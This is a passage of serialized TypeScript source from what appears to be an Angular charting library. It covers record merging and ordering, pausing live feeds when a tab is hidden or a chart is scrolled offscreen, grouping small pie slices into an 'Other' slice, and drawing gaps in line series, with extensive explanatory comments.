deliberately: a\n   *   record that carries one is asking to be collapsed.\n   */\n  readonly collapse?: boolean;\n}\n\nconst MISSING_TIME = Number.NEGATIVE_INFINITY;\n\n/** Epoch ms, or `-Infinity` for a missing or unparseable timestamp. */\nfunction timeOf(record: SvMergeableRecord): number {\n  const raw = record.timestamp;\n  if (!raw) return MISSING_TIME;\n  const ms = new Date(raw).getTime();\n  // ★★ `NaN` IS THE WHOLE REASON THIS FUNCTION EXISTS. `new Date('n/a')`\n  //    gives an Invalid Date, whose `getTime()` is NaN, and a comparator that\n  //    returns NaN makes the sort's result implementation-defined — rows\n  //    change places between two renders of the same data. One unparsed\n  //    timestamp from one integration was enough. Undated records sort last,\n  //    which is at least a decision.\n  return Number.isNaN(ms) ? MISSING_TIME : ms;\n}\n\n/**\n * Order a list: pinned first, then newest first, then by id.\n *\n * ★★★ `seq` IS USED ONLY WHEN EVERY RECORD HAS ONE, and this is deliberate\n *     rather than lenient. Deciding per PAIR — \"use seq if both have it, else\n *     timestamp\" — builds an intransitive comparator: a beats b on seq, b\n *     beats c on timestamp, and c beats a. A sort given an intransitive\n *     comparator does not merely order things oddly; it produces a different\n *     answer depending on the array's starting arrangement. A sequence is a\n *     property of the STREAM, so it is decided once for the list.\n *\n * ★ The final tiebreak is `id`, so two records that are equal by every other\n *   measure still have ONE order. Without it, \"equal\" rows swap places\n *   whenever anything else about the list changes, and a user watching a live\n *   list sees rows twitch.\n */\nexport function svOrderRecords<T extends SvMergeableRecord>(\n  records: readonly T[],\n): readonly T[] {\n  const sequenced = records.length > 0 && records.every((r) => typeof r.seq === 'number');\n  return [...records].sort((a, b) => {\n    if (!!a.pinned !== !!b.pinned) return a.pinned ? -1 : 1;\n    if (sequenced) {\n      const bySeq = (b.seq as number) - (a.seq as number);\n      if (bySeq !== 0) return bySeq;\n    } else {\n      const byTime = timeOf(b) - timeOf(a);\n      if (byTime !== 0) return byTime;\n    }\n    return a.id < b.id ? -1 : a.id > b.id ? 1 : 0;\n  });\n}\n\n/**\n * Is `incoming` newer than `held`?\n *\n * ★★ THE ASYMMETRY IS THE DECISION. Both versioned: higher wins, and EQUAL\n *    loses — a redelivery of the same revision is not news, and accepting it\n *    would replace the object for no reason, which re-renders a row the user\n *    may be interacting with.\n *\n * ★ Incoming with no version wins. \"No version\" means the source does not\n *   version, not that the record is old — refusing it would freeze that row\n *   for the life of the session. Held-without-version, incoming-with: the\n *   incoming wins too, for the same reason read the other way.\n */\nfunction isNewer(incoming: SvMergeableRecord, held: SvMergeableRecord): boolean {\n  if (typeof incoming.version !== 'number') return true;\n  if (typeof held.version !== 'number') return true;\n  return incoming.version > held.version;\n}\n\n/**\n * Fold `incoming` into `current`: same id replaces (if newer), new id adds,\n * shared `dedupeKey` collapses, and the result is ordered.\n *\n * ★ `current` is not mutated, and neither are the records. The result is a new\n *   array of the same object references wherever nothing changed, so a\n *   `track`-by-identity render only re-creates the rows that actually moved.\n */\nexport function svMergeRecords<T extends SvMergeableRecord>(\n  current: readonly T[],\n  incoming: readonly T[],\n  options: SvMergeOptions = {},\n): SvMergeReport<T> {\n  const byId = new Map<string, T>();\n  // ★★ A duplicate id inside `current` is not the host being careless — it is\n  //    what a naive append produces, and Angular's `@for` THROWS on a\n  //    duplicate track key, so the list is already unrenderable by the time it\n  //    reaches here. Collapsing it is therefore not tidying: it is the\n  //    difference between a panel and an exception.\n  //\n  // ★ The same version rule decides which copy survives, rather than \"last\n  //   wins\": a replay that appended an older revision after a newer one is the\n  //   exact case this function exists for, and position is not evidence.\n  for (const record of current) {\n    const held = byId.get(record.id);\n    if (!held || isNewer(record, held)) byId.set(record.id, record);\n  }\n\n  const added:    T[] = [];\n  const updated:  T[] = [];\n  const rejected: T[] = [];\n\n  for (const record of incoming) {\n    const held = byId.get(record.id);\n    if (!held) {\n      byId.set(record.id, record);\n      added.push(record);\n      continue;\n    }\n    if (!isNewer(record, held)) {\n      rejected.push(record);\n      continue;\n    }\n    byId.set(record.id, record);\n    updated.push(record);\n  }\n\n  const ordered = svOrderRecords([...byId.values()]);\n\n  if (options.collapse === false) {\n    return { items: ordered, added, updated, rejected, collapsed: [] };\n  }\n\n  // ★ Collapse AFTER ordering, so the survivor is the first in the order the\n  //   user will see — the newest, or the pinned one — rather than whichever\n  //   arrived first.\n  const seen = new Set<string>();\n  const kept: T[] = [];\n  const collapsed: T[] = [];\n  for (const record of ordered) {\n    const key = record.dedupeKey;\n    if (key === undefined) {\n      kept.push(record);\n      continue;\n    }\n    if (seen.has(key)) {\n      collapsed.push(record);\n      continue;\n    }\n    seen.add(key);\n    kept.push(record);\n  }\n\n  return { items: kept, added, updated, rejected, collapsed };\n}\n","import { DestroyRef, PLATFORM_ID, inject, signal, type Signal } from '@angular/core';\nimport { isPlatformBrowser } from '@angular/common';\n\n/**\n * visibility-pause.ts — a background tab should cost nothing.\n *\n * ★★★ NOT ONE LIVE CHART LISTENED FOR `visibilitychange`. A dashboard left open\n *     behind another window kept its interval, its `requestAnimationFrame`\n *     chain and its change detection running for as long as it was there — on a\n *     laptop, for hours. Browsers throttle a hidden tab's timers but do not stop\n *     them, and they do nothing at all about the work each tick queues.\n *\n * ★★★ AND STOPPING IS ONLY HALF OF IT. A feed that silently resumes draws a\n *     continuous line across a stretch where nothing was sampled — the same lie\n *     as interpolating a missing reading, and worse, because the chart looks\n *     exactly like one that ran the whole time. See `svPauseNotice`.\n */\n\n/** What a paused feed knows when it comes back. */\nexport interface SvLivePause {\n  /** True while the document is hidden and the feed is stopped. */\n  readonly paused: Signal<boolean>;\n  /**\n   * How long the most recent pause lasted, in milliseconds. `0` before the\n   * first pause, and it keeps the LAST pause's duration after resuming so the\n   * chart can disclose the gap it just skipped.\n   */\n  readonly lastPauseMs: Signal<number>;\n  /**\n   * Be told the moment the tab hides (`true`) or comes back (`false`), after\n   * `paused` and `lastPauseMs` have been updated. Returns an unsubscribe.\n   *\n   * ★ This is what lets a caller STOP its interval rather than skip ticks. A\n   *   skipped tick is still a timer firing, and in a zone.js host every one of\n   *   those is a change-detection pass behind a tab nobody is looking at.\n   */\n  readonly onChange: (listener: (paused: boolean) => void) => () => void;\n  /** Stop listening. Called for you when the injection context is destroyed. */\n  readonly destroy: () => void;\n}\n\n/**\n * Stop a feed while its tab is hidden, and remember how long for.\n *\n * Must be called from an injection context — it takes its own `DestroyRef`, so\n * a component that creates one cannot leak the listener.\n *\n * ★ SSR-safe: with no `document` there is nothing to hide, so `paused` stays\n *   false and no listener is registered. A server render must not reach for a\n *   browser global, and a feed that \"paused\" on the server would render its\n *   disclosure into the static HTML.\n *\n * ★ It reports the pause but owns no timer — `onChange` tells the caller when\n *   to stop and restart its own. `createLiveTicker` is that caller for the\n *   common case of one interval.\n */\nexport function createVisibilityPause(): SvLivePause {\n  const paused = signal(false);\n  const lastPauseMs = signal(0);\n  const platformId = inject(PLATFORM_ID);\n\n  if (!isPlatformBrowser(platformId) || typeof document === 'undefined') {\n    return { paused, lastPauseMs, onChange: () => () => undefined, destroy: () => undefined };\n  }\n\n  const listeners = new Set<(paused: boolean) => void>();\n  const onChangeListener = (listener: (paused: boolean) => void): (() => void) => {\n    listeners.add(listener);\n    return () => listeners.delete(listener);\n  };\n\n  // ★ A tab can be born hidden — a dashboard opened with a middle-click, or\n  //   restored behind another window. No `visibilitychange` fires for that,\n  //   so reading the state only on change left the feed running at full price\n  //   until the reader had looked at it and looked away again.\n  let hiddenAt = document.visibilityState === 'hidden' ? Date.now() : 0;\n  if (hiddenAt > 0) paused.set(true);\n\n  const onChange = (): void => {\n    if (document.visibilityState === 'hidden') {\n      // A repeat `hidden` must not restart the clock — the pause began at the\n      // first one, and resetting it would under-report the gap.\n      if (hiddenAt > 0) return;\n      hiddenAt = Date.now();\n      paused.set(true);\n      listeners.forEach(l => l(true));\n    } else {\n      // Visible-to-visible is not a resume: nothing paused, nothing to tell.\n      if (hiddenAt === 0) return;\n      // `hiddenAt` of zero means we were never hidden — a visibilitychange can\n      // fire visible-to-visible on some platforms, and reporting `Date.now()`\n      // as the gap would claim a pause since the epoch.\n      lastPauseMs.set(Date.now() - hiddenAt);\n      hiddenAt = 0;\n      paused.set(false);\n      listeners.forEach(l => l(false));\n    }\n  };\n\n  document.addEventListener('visibilitychange', onChange);\n  const destroy = (): void => {\n    document.removeEventListener('visibilitychange', onChange);\n    listeners.clear();\n  };\n  inject(DestroyRef).onDestroy(destroy);\n\n  return { paused, lastPauseMs, onChange: onChangeListener, destroy };\n}\n","import { DestroyRef, PLATFORM_ID, computed, inject, signal, untracked, type Signal } from '@angular/core';\nimport { isPlatformBrowser } from '@angular/common';\nimport { svPauseNotice } from './live-feed';\nimport { createVisibilityPause, type SvLivePause } from './visibility-pause';\n\n/**\n * live-ticker.ts — one interval that is actually off while its tab is hidden,\n * and a gap notice that is only ever about that interval.\n *\n * ★★★ SKIPPING A TICK IS NOT STOPPING A TIMER. The live charts used to check\n *     `paused()` inside the tick and return — the interval kept firing, and in a\n *     zone.js host every firing is a change-detection pass behind a tab nobody\n *     is looking at. This clears the interval on hide and creates a new one on\n *     return.\n *\n * ★★★ AND THE GAP NOTICE BELONGS TO THE GENERATOR, NOT TO THE TAB. \"Updates\n *     stopped … nothing was sampled\" is true of a chart whose own timer was\n *     stopped. It is false of a chart the host feeds — the host's socket kept\n *     delivering while the tab was hidden. So `gapMs` is set only when THIS\n *     ticker was running at the moment the tab hid.\n */\n\n/** What a live chart hands the ticker. Every callback is read lazily, never at construction. */\nexport interface SvLiveTickerOptions {\n  /** Called once per interval while the ticker runs. */\n  readonly tick: () => void;\n  /** Interval in ms. A value ≤ 0 or non-finite keeps the ticker off. */\n  readonly intervalMs: () => number;\n  /**\n   * Whether the component wants its generator running — \"the user has not\n   * paused it, and there is a generator at all\". Visibility is layered on top;\n   * do not fold it in here.\n   */\n  readonly enabled: () => boolean;\n}\n\n/** A visibility-aware interval. */\nexport interface SvLiveTicker {\n  /** The tab-visibility state the ticker listens to. */\n  readonly visibility: SvLivePause;\n  /** True while an interval is actually scheduled. */\n  readonly active: Signal<boolean>;\n  /**\n   * Length of the last hidden stretch during which this ticker was running and\n   * so was stopped. `0` until then — a hidden tab while the ticker was already\n   * off (user-paused, or a host-fed chart with no generator) leaves it alone.\n   */\n  readonly gapMs: Signal<number>;\n  /** `svPauseNotice(gapMs())` — the sentence to put under the plot, or null. */\n  readonly notice: Signal<string | null>;\n  /**\n   * Re-evaluate whether the interval should run: call after anything\n   * `enabled` or `intervalMs` reads has changed. Idempotent — never schedules\n   * a second interval.\n   */\n  readonly sync: () => void;\n  /** Forget the last gap, e.g. when the history it described was reset. */\n  readonly clearGap: () => void;\n}\n\n/**\n * Create a visibility-aware interval in an injection context. The interval is\n * cleared on destroy, and never scheduled during SSR.\n */\nexport function createLiveTicker(options: SvLiveTickerOptions): SvLiveTicker {\n  const visibility = createVisibilityPause();\n  const browser = isPlatformBrowser(inject(PLATFORM_ID));\n  const active = signal(false);\n  const gapMs = signal(0);\n\n  let handle: ReturnType<typeof setInterval> | null = null;\n  let runningMs = 0;\n  /** Whether the ticker was running — and generating — when the tab hid. */\n  let stoppedByHide = false;\n\n  const stop = (): void => {\n    if (handle !== null) clearInterval(handle);\n    handle = null;\n    active.set(false);\n  };\n\n  const sync = (): void =>\n    untracked(() => {\n      const ms = options.intervalMs();\n      const want =\n        browser && !visibility.paused() && Number.isFinite(ms) && ms > 0 && options.enabled();\n      if (!want) {\n        stop();\n        return;\n      }\n      if (handle !== null && runningMs === ms) return;\n      stop();\n      runningMs = ms;\n      handle = setInterval(() => options.tick(), ms);\n      active.set(true);\n    });\n\n  visibility.onChange(hidden => {\n    if (hidden) {\n      // `enabled()` too, not just the handle: a chart whose generator was\n      // switched off since the last sync (a host started supplying data) was\n      // not generating, so it has no gap of its own to report.\n      stoppedByHide = handle !== null && untracked(() => options.enabled());\n      stop();\n    } else {\n      if (stoppedByHide) gapMs.set(untracked(() => visibility.lastPauseMs()));\n      stoppedByHide = false;\n      sync();\n    }\n  });\n\n  inject(DestroyRef).onDestroy(stop);\n\n  return {\n    visibility,\n    active: active.asReadonly(),\n    gapMs: gapMs.asReadonly(),\n    notice: computed(() => svPauseNotice(gapMs())),\n    sync,\n    clearGap: () => gapMs.set(0),\n  };\n}\n","import { DestroyRef, PLATFORM_ID, inject, signal, type Signal } from '@angular/core';\nimport { isPlatformBrowser } from '@angular/common';\n\n/**\n * offscreen-pause.ts — a live surface below the fold should cost nothing either.\n *\n * ★★★ `visibilitychange` IS ONLY HALF THE SAVING. It fires when the *tab* goes\n *     away, and a wallboard, a long dashboard or a queue three screens down a\n *     scrolling page is visible to the browser and invisible to the reader. The\n *     tick costs the same either way: a timer, a signal write, a change\n *     detection pass and a reflow, once a second, for a surface nobody is\n *     looking at.\n *\n * ★★★ AND THE FALLBACK IS TODAY'S BEHAVIOUR, NOT A PAUSE. With no\n *     `IntersectionObserver` — SSR, a DOM shim, an old browser — `offscreen`\n *     stays false and the caller keeps ticking. A pause that fires because the\n *     environment lacks an observer would freeze a queue the reader is watching,\n *     which is a far worse failure than a wasted interval.\n *\n * Pairs with `createVisibilityPause`: a caller that wants both stops when either\n * says so, which is one `||` at the tick site.\n */\n\n/** What a caller needs to know about its own element's position. */\nexport interface SvOffscreenPause {\n  /**\n   * True while the observed element is known to be outside the viewport.\n   *\n   * ★ \"Known to be\" is load-bearing: false means *not known to be offscreen*,\n   *   which covers both a visible element and an environment that cannot tell.\n   */\n  readonly offscreen: Signal<boolean>;\n  /**\n   * Start watching an element, replacing any previous one. Passing `null` stops\n   * watching and resets `offscreen` to false — an element nobody is watching is\n   * not known to be offscreen.\n   */\n  readonly observe: (element: Element | null) => void;\n  /** Stop watching. Called for you when the injection context is destroyed. */\n  readonly destroy: () => void;\n}\n\n/**\n * Pause a feed while its own element is scrolled out of view.\n *\n * Must be called from an injection context — it takes its own `DestroyRef`, so a\n * component that creates one cannot leak the observer.\n *\n * @param rootMargin How far outside the viewport still counts as visible.\n *   Defaults to `'200px'`: the surface resumes just *before* it scrolls into\n *   view, so the reader never arrives at a frozen clock and watches it catch up.\n */\nexport function createOffscreenPause(rootMargin = '200px'): SvOffscreenPause {\n  const offscreen = signal(false);\n  const platformId = inject(PLATFORM_ID);\n\n  if (!isPlatformBrowser(platformId) || typeof IntersectionObserver === 'undefined') {\n    return { offscreen, observe: () => undefined, destroy: () => undefined };\n  }\n\n  let observer: IntersectionObserver | null = null;\n\n  const destroy = (): void => {\n    observer?.disconnect();\n    observer = null;\n  };\n\n  const observe = (element: Element | null): void => {\n    destroy();\n    if (!element) {\n      offscreen.set(false);\n      return;\n    }\n    observer = new IntersectionObserver(\n      (entries) => {\n        // ★ The LAST entry, not the first. A batch can carry several crossings\n        //   for one element when scrolling fast, and the first of them is the\n        //   oldest — acting on it leaves the flag describing where the element\n        //   used to be.\n        const latest = entries[entries.length - 1];\n        if (latest) offscreen.set(!latest.isIntersecting);\n      },\n      { rootMargin },\n    );\n    observer.observe(element);\n  };\n\n  inject(DestroyRef).onDestroy(destroy);\n\n  return { offscreen, observe, destroy };\n}\n","/**\n * small-shares.ts — the long tail of a part-to-whole chart, and the order of it.\n *\n * ★★★ A PIE WITH THIRTY SLICES IS NOT A CHART OF THIRTY THINGS. Past roughly\n *     eight, the slices at the end are a few degrees each: they cannot be\n *     labelled, they cannot be told apart, they cannot be clicked reliably, and\n *     their colours run out. What the reader actually takes from the picture is\n *     the three or four big ones plus an unreadable fringe — so the honest\n *     drawing is the big ones plus ONE slice that says how much the fringe came\n *     to, which is the only fact about the fringe anybody can use.\n *\n *     Both of these are OFF by default. Folding a host's categories together is\n *     a decision about their data, and a chart that quietly did it would be\n *     reporting a category the host never sent.\n */\n\nimport type { SvSummaryRow } from '../a11y/data-summary';\n\n/**\n * The colour the aggregate slice takes when the host names none.\n *\n * ★ Neutral on purpose. `Other` used to be spread from the first slice it\n *   folded, so it arrived in THAT slice's colour — and a reader matching colours\n *   to the legend saw one real category drawn twice, or read the aggregate as\n *   more of whichever category happened to be folded first. A slate grey says\n *   \"not a category\" in both themes, and it is a six-digit hex because the\n *   gradient donut derives its light stop from the base colour arithmetically.\n *\n * ★ Slate-500, not the lighter slate-400 it first shipped as. One fill has to\n *   hold in BOTH themes, and slate-400 measured 2.56:1 on a white card — under\n *   the 3:1 WCAG 1.4.11 asks of a graphic a reader has to find — while being\n *   comfortable on dark. Slate-500 is 4.76:1 on white, 3.73:1 on gray-900 and\n *   3.08:1 on gray-800, so the slice and its legend swatch clear 3:1 either way.\n */\nexport const SV_OTHER_SHARE_COLOR = '#64748b';\n\n/** A slice of a part-to-whole chart: enough shape for grouping and ordering. */\nexport interface SvShareSlice {\n  readonly label: string;\n  readonly value: number;\n  readonly color?: string;\n}\n\n/** How slices are ordered around the chart. */\nexport type SvShareOrder = 'input' | 'value';\n\n/** What the grouping pass folded together, and what it has to say about it. */\nexport interface SvShareGrouping<T> {\n  /** Survivors in their original relative order, with any `Other` slice last. */\n  readonly items: readonly T[];\n  /** The aggregate slice in `items`, or `null` when nothing was folded. */\n  readonly other: T | null;\n  /**\n   * The slices folded into `other`, in the order they were met. Empty when\n   * nothing was. This is what lets the summary table list them separately, as\n   * the notice says it does.\n   */\n  readonly folded: readonly T[];\n  /** How many slices were folded into `Other`. `0` when nothing was. */\n  readonly grouped: number;\n  /** Their combined value. */\n  readonly groupedValue: number;\n  /** One sentence for the reader, or `null` when nothing was folded. */\n  readonly notice: string | null;\n}\n\n/** Options for {@link svGroupSmallShares}. Both thresholds are off at zero. */\nexport interface SvGroupSharesOptions {\n  /**\n   * Fold any slice below this share of the total, `0`–`1`.\n   * @default 0 — no grouping\n   */\n  readonly minShare?: number;\n  /**\n   * Keep at most this many slices, folding the remainder. Applied after\n   * `minShare`, and counted against the ordered list so the survivors are the\n   * largest ones when the chart is sorted by value.\n   * @default 0 — no cap\n   */\n  readonly maxSlices?: number;\n  /** Label for the aggregate slice. @default 'Other' */\n  readonly label?: string;\n  /** Colour for the aggregate slice. @default SV_OTHER_SHARE_COLOR — a neutral slate */\n  readonly color?: string;\n}\n\n/**\n * Fold the unreadable tail of a part-to-whole chart into one `Other` slice.\n *\n * ★ NEVER FOLDS A SINGLE SLICE. One slice inside an `Other` of one is the same\n *   slice with its name taken away — strictly worse than leaving it alone, and\n *   it is what a naive threshold does to a chart with one small category.\n *\n * ★ The aggregate goes LAST regardless of ordering. \"Other\" is not a category\n *   with a rank; sorting it by value would put it in the middle of the ring and\n *   invite the reader to compare it with a real one.\n *\n * ★ The aggregate carries a label, a value and a NEUTRAL colour, and nothing\n *   else. It used to be spread from the first slice it folded, so it inherited\n *   that slice's colour, its description, and on the radius pie its emphasis —\n *   the aggregate drawn as if it were more of one real category. A chart that\n *   gives slices other per-slice fields decides what `Other` gets for them.\n *\n * ★ Non-finite and negative values are left for the value policy that runs\n *   before this — `svResolveShares` has already decided whether they are\n *   clamped, omitted or fatal, and second-guessing that here would mean two\n *   answers to one question.\n */\nexport function svGroupSmallShares<T extends SvShareSlice>(\n  items: readonly T[],\n  total: number,\n  options: SvGroupSharesOptions = {},\n): SvShareGrouping<T> {\n  const minShare = options.minShare ?? 0;\n  const maxSlices = options.maxSlices ?? 0;\n  const noGrouping: SvShareGrouping<T> = {\n    items,\n    other: null,\n    folded: [],\n    grouped: 0,\n    groupedValue: 0,\n    notice: null,\n  };\n\n  const wantsShare = Number.isFinite(minShare) && minShare > 0;\n  const wantsCap = Number.isFinite(maxSlices) && maxSlices > 0;\n  if ((!wantsShare && !wantsCap) || !items.length || !(total > 0)) return noGrouping;\n\n  const keep: T[] = [];\n  const fold: T[] = [];\n\n  for (const item of items) {\n    const belowShare = wantsShare && item.value / total < minShare;\n    // The cap counts survivors, so a chart sorted by value keeps the biggest.\n    const pastCap = wantsCap && keep.length >= maxSlices;\n    if (belowShare || pastCap) fold.push(item);\n    else keep.push(item);\n  }\n\n  // Folding one slice renames it and gains nothing.\n  if (fold.length < 2) return noGrouping;\n\n  let groupedValue = 0;\n  for (const item of fold) groupedValue += item.value;\n\n  const requested = options.label ?? 'Other';\n  // ★★ \"Other\" is also a category hosts send. When one survives the fold, an\n  //    aggregate of the same name is a second \"Other\" on the ring and in the\n  //    legend — two entries a reader cannot tell apart, and two marks every\n  //    chart template tracks by label (NG0955). The aggregate says what it is.\n  const label = keep.some((item) => item.label === requested)\n    ? `${requested} — small slices`\n    : requested;\n  // Only the fields every share slice has. `T` may carry more (a radius, a\n  // description), and none of them is true of an aggregate.\n  const aggregate: SvShareSlice = {\n    label,\n    value: groupedValue,\n    color: options.color || SV_OTHER_SHARE_COLOR,\n  };\n  const other = aggregate as T;\n\n  const share = Math.round((groupedValue / total) * 100);\n  return {\n    items: [...keep, other],\n    other,\n    folded: fold,\n    grouped: fold.length,\n    groupedValue,\n    // ★★ The notice is VISIBLE text, and the summary table it used to point at\n    //    alone is not: `sv-data-summary-table` is clipped to 1×1 for assistive\n    //    technology. \"The summary table lists them separately\" was true in the\n    //    DOM and false on the screen, so a sighted reader was sent looking for a\n    //    table that is never drawn. The names go in the sentence itself; the\n    //    values are said to be in the table, and who that table is for.\n    notice:\n      `${fold.length} slices too small to read were combined into “${label}”, ` +\n      `${share}% of the total: ${foldedNames(fold)}. ` +\n      `The summary table for screen readers lists each one's value separately.`,\n  };\n}\n\n/** How many folded names the notice spells out before it counts the rest. */\nconst NOTICE_NAME_LIMIT = 6;\n\n/** `A, B and C` — or `A, B, … F and 4 more` past `NOTICE_NAME_LIMIT`. */\nfunction foldedNames(fold: readonly SvShareSlice[]): string {\n  const names = fold.map((s) => s.label);\n  if (names.length > NOTICE_NAME_LIMIT) {\n    const shown = names.slice(0, NOTICE_NAME_LIMIT);\n    return `${shown.join(', ')} and ${names.length - NOTICE_NAME_LIMIT} more`;\n  }\n  // A fold is never fewer than two slices — `svGroupSmallShares` refuses one.\n  return `${names.slice(0, -1).join(', ')} and ${names[names.length - 1]}`;\n}\n\n/**\n * Order slices around the chart.\n *\n * `'value'` is the convention a pie is easiest to read in — largest first, so\n * the eye compares neighbours rather than arcs on opposite sides of the circle,\n * which is the comparison people are worst at. `'input'` keeps the host's order,\n * which is what a chart with a natural sequence (stages, months, grades) needs.\n *\n * ★ Ties break by input position rather than by whatever `sort` does with them.\n *   Two equal slices swapping places between renders is a picture that moves\n *   for no reason, and `Array.prototype.sort` stability is not the property\n *   being relied on here — reproducibility is.\n *\n * ★ Returns the SAME array when nothing needs reordering, so an unchanged input\n *   keeps its identity for change detection.\n */\nexport function svOrderShares<T extends SvShareSlice>(\n  items: readonly T[],\n  order: SvShareOrder,\n): readonly T[] {\n  if (order !== 'value' || items.length < 2) return items;\n\n  const position = new Map<T, number>();\n  items.forEach((item, i) => position.set(item, i));\n\n  return [...items].sort((a, b) => {\n    const delta = b.value - a.value;\n    return delta !== 0 ? delta : position.get(a)! - position.get(b)!;\n  });\n}\n\n/** The result of {@link svPrepareShares}. */\nexport interface SvPreparedShares<T> {\n  /** Slices to draw, ordered, with any aggregate last. */\n  readonly items: readonly T[];\n  /** Unchanged by grouping — the aggregate is a sum, not a sample. */\n  readonly total: number;\n  /** Everything the reader has to be told, policy notice included. */\n  readonly notice: string | null;\n  /** How many slices were folded into the aggregate. */\n  readonly grouped: number;\n  /** The aggregate slice in `items`, or `null` when nothing was folded. */\n  readonly other: T | null;\n  /** The slices folded into `other`, in the order they were met. */\n  readonly folded: readonly T[];\n}\n\n/** Ordering and grouping options, as a chart's `options` object carries them. */\nexport interface SvPrepareSharesOptions extends SvGroupSharesOptions {\n  /** Slice order around the chart. @default 'input' */\n  readonly order?: SvShareOrder;\n}\n\n/**\n * The whole preparation pass a part-to-whole chart runs after its value policy:\n * order the slices, fold the unreadable tail, and merge what has to be said\n * about both into whatever the policy already had to say.\n *\n * ★ Ordering runs BEFORE grouping so that `maxSlices` keeps the largest slices\n *   on a chart sorted by value. Grouping first would cap the input order and\n *   then sort the survivors, which quietly discards big categories that\n *   happened to be written late.\n */\nexport function svPrepareShares<T extends SvShareSlice>(\n  items: readonly T[],\n  total: number,\n  policyNotice: string | null,\n  options: SvPrepareSharesOptions = {},\n): SvPreparedShares<T> {\n  const ordered = svOrderShares(items, options.order ?? 'input');\n  const grouped = svGroupSmallShares(ordered, total, options);\n  const notices = [policyNotice, grouped.notice].filter(Boolean) as string[];\n\n  return {\n    items: grouped.items,\n    total,\n    notice: notices.length ? notices.join(' ') : null,\n    grouped: grouped.grouped,\n    other: grouped.other,\n    folded: grouped.folded,\n  };\n}\n\n/**\n * The summary-table rows for a prepared part-to-whole chart: one per drawn\n * slice, and — under the aggregate — one per slice it folded, marked as such.\n *\n * ★★ THE FOLD NOTICE PROMISES THIS. It tells the reader \"the summary table for\n *    screen readers lists each one's value separately\", and every table was built from the drawn slices, so it\n *    listed one `Other` row and nothing under it: a disclosure pointing at\n *    detail that did not exist. Built once here so the promise and the rows\n *    cannot drift apart per chart.\n *\n * ★ The folded rows follow the aggregate rather than taking their own place in\n *   the order, and each names the aggregate it belongs to, so a listener hears\n *   them as the breakdown of `Other` — not as extra slices the picture forgot to\n *   draw, and not as values to add to the `Other` row a second time.\n *\n * @param shares The prepared shares — `items`, plus the `other`/`folded` a fold\n *   produced.\n * @param cells The formatted data cells for one slice, in column order. Called\n *   for folded slices too, with the same total, so their shares read against\n *   the whole chart.\n */\nexport function svShareSummaryRows<T extends SvShareSlice>(\n  shares: Pick<SvPreparedShares<T>, 'items' | 'other' | 'folded'>,\n  cells: (item: T) => readonly string[],\n): SvSummaryRow[] {\n  const rows: SvSummaryRow[] = [];\n  const { other, folded } = shares;\n  // ★ `track row.key` throws NG0955 on a repeat, and labels are the host's:\n  //   two slices both called \"Direct\" are a data mistake the table should still\n  //   render, not a console error. A repeat keeps its label and gains a suffix.\n  const seen = new Set<string>();\n  const unique = (key: string): string => {\n    let candidate = key;\n    for (let n = 2; seen.has(candidate); n++) candidate = `${key}#${n}`;\n    seen.add(candidate);\n    return candidate;\n  };\n  for (const item of shares.items) {\n    if (!other || item !== other) {\n      rows.push({ key: unique(item.label), header: item.label, cells: cells(item) });\n      continue;\n    }\n    rows.push({\n      key: unique(`aggregate:${other.label}`),\n      header: `${other.label} (${folded.length} combined)`,\n      cells: cells(other),\n    });\n    folded.forEach((slice, i) => {\n      rows.push({\n        key: unique(`aggregate:${other.label}:${i}:${slice.label}`),\n        header: `${slice.label} (in ${other.label})`,\n        cells: cells(slice),\n      });\n    });\n  }\n  return rows;\n}\n","/**\n * series-gaps.ts — a reading that is missing, drawn as missing.\n *\n * ★★★ ONE GAP USED TO BLANK THE WHOLE CHART. A line chart's y-axis is derived\n *     from `Math.max(...data)`, and `Math.max` of anything containing `NaN` is\n *     `NaN`. So a single unusable reading poisoned the axis maximum, every\n *     point's y came back `NaN`, and the path rendered as\n *     `M 0 NaN L 173 NaN L 346 NaN` — which SVG draws as nothing at all, with no\n *     error. Measured on four points with one gap: the entire series vanished,\n *     not just the missing point.\n *\n *     That is the worst possible failure for a missing value, because the two\n *     alternatives a host has without gap support are both lies: sending `0`\n *     asserts a reading of zero, and interpolating asserts a reading nobody\n *     took. The honest rendering is a BREAK — the line stops before the gap and\n *     resumes after it, so the reader can see there is nothing there.\n *\n * These live in `@styloviz/core` because the free and Pro line charts are\n * separate components rather than a mirrored pair, and two gap rules that\n * disagree about what counts as missing is exactly the defect the shared axis\n * ladder was written to remove.\n */\n\n/**\n * Whether a datum is a gap rather than a value.\n *\n * `null` and `undefined` are the deliberate ways to say \"no reading\". `NaN` and\n * `±Infinity` are the accidental ones — a division by zero, a `parseFloat` of\n * `'n/a'`, a sensor fault — and they mean the same thing to a chart, so they are\n * treated the same rather than being allowed through to break the geometry.\n */\nexport function svIsGap(value: number | null | undefined): boolean {\n  return value === null || value === undefined || !Number.isFinite(value);\n}\n\n/** The range of the readings that exist, and how many did not. */\nexport interface SvFiniteExtent {\n  /** Smallest usable value, or `null` when there is none. */\n  readonly min: number | null;\n  /** Largest usable value, or `null` when there is none. */\n  readonly max: number | null;\n  /** How many entries were gaps. */\n  readonly gaps: number;\n  /** How many entries there were in total. */\n  readonly total: number;\n}\n\n/**\n * Min and max over the readings that exist, plus a count of the ones that do not.\n *\n * The gap count comes back with the extent rather than from a second pass\n * because the axis and the disclosure have to describe the same set: a chart\n * that scales to the values it can draw and then reports a total including the\n * ones it cannot is telling the reader two different stories about one series.\n */\nexport function svFiniteExtent(values: Iterable<number | null | undefined>): SvFiniteExtent {\n  let min: number | null = null;\n  let max: number | null = null;\n  let gaps = 0;\n  let total = 0;\n\n  for (const value of values) {\n    total++;\n    if (svIsGap(value)) {\n      gaps++;\n      continue;\n    }\n    const v = value as number;\n    if (min === null || v < min) min = v;\n    if (max === null || v > max) max = v;\n  }\n\n  return { min, max, gaps, total };\n}\n\n/**\n * Split a series into the contiguous runs that can actually be drawn.\n *\n * Each run is a stretch with no gap in it, so a path built from the runs stops\n * at every gap and starts again after it. An empty result means the series is\n * entirely missing, which is a different thing from an empty series and should\n * be said differently.\n *\n * `project` is only called for real values, so it never has to defend itself\n * against `NaN` — which is the point: the `NaN` guard belongs here, once, rather\n * than in every coordinate helper that a gap could reach.\n */\nexport function svGapRuns<T>(\n  data: readonly (number | null | undefined)[],\n  project: (value: number, index: number) => T,\n): T[][] {\n  const runs: T[][] = [];\n  let run: T[] = [];\n\n  for (let i = 0; i < data.length; i++) {\n    if (svIsGap(data[i])) {\n      if (run.length > 0) {\n        runs.push(run);\n        run = [];\n      }\n      continue;\n    }\n    run.push(project(data[i] as number, i));\n  }\n  if (run.length > 0) runs.push(run);\n\n  return runs;\n}\n\n/**\n * One sentence naming the gaps, 